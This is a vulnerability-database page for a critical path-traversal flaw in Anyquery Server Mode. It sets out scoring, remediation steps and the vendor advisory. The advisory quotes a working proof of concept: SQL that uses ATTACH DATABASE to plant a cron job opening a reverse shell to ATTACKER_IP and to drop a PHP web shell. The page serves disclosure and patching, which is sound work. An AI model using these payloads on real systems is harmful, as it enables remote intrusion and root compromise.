Skip to main content

Anyquery EUVDEUVD-2026-77809

| CVE-2026-50006 CRITICAL
Path Traversal (CWE-22)
2026-07-14 https://github.com/julien040/anyquery GHSA-xrcf-6jh3-ggvx
9.1
CVSS 3.1 · Vendor: https://github.com/julien040/anyquery
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach exposed MySQL port :8070
  2. Delivery
    Connect unauthenticated via MySQL client
  3. Exploit
    ATTACH DATABASE to sensitive path
  4. Execution
    INSERT crafted cron/webshell payload
  5. Persist
    Wait for cron or web server to parse file
  6. Impact
    Execute reverse shell as process user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that Anyquery be running in Server Mode (anyquery server) with its MySQL-compatible port reachable by the attacker - the PoC binds to 0.0.0.0:8070. No authentication is needed (CVSS PR:N), so any network peer that can reach the port can issue ATTACH DATABASE. The write primitive itself always works against a default Server Mode deployment, but escalation to RCE or DoS is limited by what the process can write: achieving root code execution via /etc/cron.d requires the process to run as root (or with write access there), while a PHP web-shell path requires a co-located web server and process write access to the web root. Limiting factors are therefore: Server Mode must be enabled and network-exposed (non-default for many installs), and impact severity is bounded by the process's filesystem privileges and the presence of a service (cron, sshd, PHP) that will parse the written file.

Impact

The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H = 9.1 Critical) is internally consistent with the description: network-reachable, low complexity, and no authentication because Server Mode requires no credentials. That PR:N justifies treating this as unauthenticated exploitation against an exposed port. A published, reliable PoC exists in the GHSA advisory, which raises practical exploitability, but no EPSS score, KEV status, or SSVC decision data was provided, so widespread automated exploitation cannot be confirmed and should not be assumed. The realistic priority is high only where Anyquery Server Mode is actually bound to a reachable interface (the PoC uses --host 0.0.0.0), and it is significantly amplified when the process runs as root or inside a web root - the vendor notes this escalates to RCE at 9.8. Countervailing factors that lower real-world risk: Anyquery is a niche tool, Server Mode is an opt-in configuration, and impact depends on the process's write permissions and co-located services (cron, PHP). Confidentiality is rated None for the write action itself, so this is primarily an integrity/availability and code-execution threat rather than a data-disclosure one.

Exploit ScenarioDerived

An operator runs anyquery server --host 0.0.0.0 --port 8070, exposing the MySQL-compatible port. An unauthenticated attacker connects with a standard MySQL client and issues ATTACH DATABASE '/etc/cron.d/pwn' followed by CREATE TABLE and INSERT statements containing a valid cron line; within about 60 seconds cron ignores the SQLite header and executes a reverse shell as root. Given AV:N/AC:L/PR:N and the published PoC, the attack is low-effort and reliable wherever the process has write access to an actionable path.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 1.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 14, 2026

Arbitrary file write in Anyquery Server Mode (versions < 0.4.5) allows unauthenticated remote attackers to write files to any path the process can access by abusing SQLite's native ATTACH DATABASE command exposed over the MySQL-compatible listener. Because the server blindly proxies SQL to the underlying SQLite engine, an attacker can create files such as cron jobs, PHP web shells, or SSH authorized_keys and escalate the file write into remote code execution or denial of service. A working step-by-step proof-of-concept is published in the vendor's GitHub Security Advisory (GHSA-xrcf-6jh3-ggvx); there is no CISA KEV entry and no confirmed in-the-wild exploitation at time of analysis.

RemediationAI

Vendor-released patch: 0.4.5 - upgrade Anyquery to version 0.4.5 or later, which adds server sandboxing (commit 27f84fc) to remediate this issue and the related CVE-2026-47253; see https://github.com/julien040/anyquery/releases/tag/0.4.5 and the advisory https://github.com/julien040/anyquery/security/advisories/GHSA-xrcf-6jh3-ggvx. If immediate patching is not possible, do not expose Server Mode to untrusted networks: avoid binding to 0.0.0.0 and instead bind to 127.0.0.1 or a trusted management interface, and firewall the server port (default in the PoC is 8070) so only trusted hosts can reach it - the trade-off is loss of remote access for legitimate clients. Run the Anyquery process as an unprivileged, least-permission user with no write access to sensitive directories such as /etc/cron.d, /var/spool/cron/crontabs, web roots, and SSH key paths, ideally inside a container or restricted filesystem namespace, which limits but does not eliminate the arbitrary write. The vendor's fix approach - disabling ATTACH/DETACH DATABASE and restricting the MySQL handler to the main or in-memory database - is the definitive control and cannot be fully replicated by configuration alone in older versions.

Affected VersionsENISA

anyquery < 0.4.5

Affected Packages

go github.com/julien040/anyquery no fix
euvd anyquery fix: 0.4.5

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Anyquery is an open-source Go query engine (pkg:go/github.com/julien040/anyquery) built on top of SQLite that lets users query arbitrary data sources over SQL. In Server Mode (anyquery server), it exposes a MySQL wire-protocol listener and forwards incoming statements directly to SQLite without a command allow-list. SQLite's ATTACH DATABASE statement creates a physical .db file on disk when the target does not already exist, so an attacker-controlled ATTACH path becomes an attacker-controlled file creation primitive. The CWE-22 (Improper Limitation of a Pathname to a Restricted Directory / Path Traversal) classification captures the root cause: no restriction on the pathname supplied to ATTACH. Although the written file begins with a binary SQLite header, permissive parsers in cron, sshd, and PHP ignore the garbage header bytes and act on the valid payload rows inserted via subsequent INSERT statements, turning file write into code execution.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/julien040/anyquery) PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
vuln.today AI 9.1 CRITICAL

Network-reachable unauthenticated Server Mode listener with no auth gives AV:N/AC:L/PR:N/UI:N; arbitrary write yields I:H/A:H, and the write action alone leaks no data so C:N.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE CRITICAL

Primary rating from Vendor (https://github.com/julien040/anyquery).

CVSS VectorVendor: https://github.com/julien040/anyquery

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Sep 14, 2026 - 22:19 EUVD
CVE Published
Jul 14, 2026 - 18:33 github-advisory
CRITICAL 9.1

DescriptionCVE.org

Summary

Anyquery's server mode does not disable or restrict native SQLite disk manipulation commands. Unauthenticated attackers connecting to the MySQL-compatible server port can use the ATTACH DATABASE command to write arbitrary SQLite databases to any path on the victim's filesystem where the process has write permissions. This leads to Arbitrary File Write (AFW) which could lead to Remote Code Execution (RCE) depending on the environment (e.g., by dropping a PHP web shell if a web server is running, or overwriting system cronjobs if running as root).

Details

When Anyquery is launched in Server Mode (anyquery server), it blindly proxies incoming SQL commands to the underlying SQLite engine. SQLite allows dynamic database mounting via the ATTACH DATABASE command, which creates a physical .db file on the filesystem if the file does not exist.

An attacker can connect to the open Anyquery port, attach a new database to a sensitive path (e.g., /var/www/html/shell.php, /etc/cron.d/pwn or /root/.ssh/authorized_keys), create a table, and insert a malicious payload. Although the file will contain a binary SQLite header, standard Linux services like cron, sshd, and web servers like PHP tolerate garbage data and will parse/execute the valid payload lines injected by the attacker.

PoC (Proof of Concept)

  1. Start the server on the victim machine:
bash
   anyquery server --host 0.0.0.0 --port 8070
  1. Connect from an attacker machine:
bash
   mysql -u root -h <VICTIM_IP> -P 8070
  1. Execute the payload to write a malicious cronjob for native RCE (Note: the Anyquery process must have write permissions to the target directory, such as /etc/cron.d or /var/spool/cron/crontabs/):
sql
   ATTACH DATABASE '/etc/cron.d/pwn' AS pwn;
   CREATE TABLE pwn.task (cmd TEXT);
   INSERT INTO pwn.task VALUES ('* * * * * root /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1"');

*Alternatively, if a web server is running and the Anyquery process can write to the web root, you can drop a PHP shell:*

sql
   ATTACH DATABASE '/var/www/html/shell.php' AS pwn;
   CREATE TABLE pwn.hacked (cmd TEXT);
   INSERT INTO pwn.hacked VALUES ('<?php system($_GET["cmd"]); ?>');

*If testing locally as a non-root user, you can verify the vulnerability by writing to /tmp:*

sql
   ATTACH DATABASE '/tmp/pwn.db' AS pwn;
   CREATE TABLE pwn.test (cmd TEXT);
   INSERT INTO pwn.test VALUES ('Hello Anyquery AFW');

Within 60 seconds, the system's cron daemon will ignore the SQLite header, parse the valid cron string, and execute the reverse shell payload with root privileges.

Impact

  • Confidentiality: None (from the write action itself, though combined with LFR it becomes High).
  • Integrity: High. Arbitrary files can be written or overwritten, which corrupts the filesystem.
  • Availability: High. Overwriting critical system files (e.g., configurations, databases) can lead to complete Denial of Service (DoS).
  • CVSS Score: 9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
  • *Note: If the process is running with elevated privileges (e.g., root) or inside a web root directory, this escalates to Remote Code Execution (RCE) with a CVSS of 9.8 (Critical).*

Remediation

Disable dangerous SQLite functions (ATTACH DATABASE, DETACH DATABASE, etc.) when running in Server Mode. Restrict the MySQL handler so that it only permits operations on the main database or in-memory virtual tables.

Executive ViewAI

Why It Matters

Anyquery Server Mode versions prior to 0.4.5 contain a critical remote code execution vulnerability accessible to unauthenticated attackers. Publicly available exploit code exists, creating immediate risk of compromise. Any organization running this product in a networked environment faces urgent threat of unauthorized system access, data exfiltration, or service disruption.

Business Impact: Severe
Compensating Controls

Immediately restrict network access to Anyquery Server to trusted internal networks only using firewall rules and network segmentation; disable Anyquery Server Mode if operationally feasible; implement comprehensive SQL query logging and real-time monitoring for ATTACH DATABASE commands; segregate affected systems from critical production infrastructure and sensitive data repositories; consider running affected instances in isolated containers with strictly limited file system permissions.

Threat Intelligence Overview

EPSS Score
1.0%
Top 40% exploitable
Prevalence
Low
niche open-source SQL query engine, limited production footprint
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 1.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Vendor StatusVendor

SUSE

Severity: Critical
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy